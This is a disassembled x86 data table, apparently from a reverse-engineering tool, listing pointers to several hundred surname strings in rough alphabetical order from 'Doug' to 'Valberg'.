		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay_0	; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
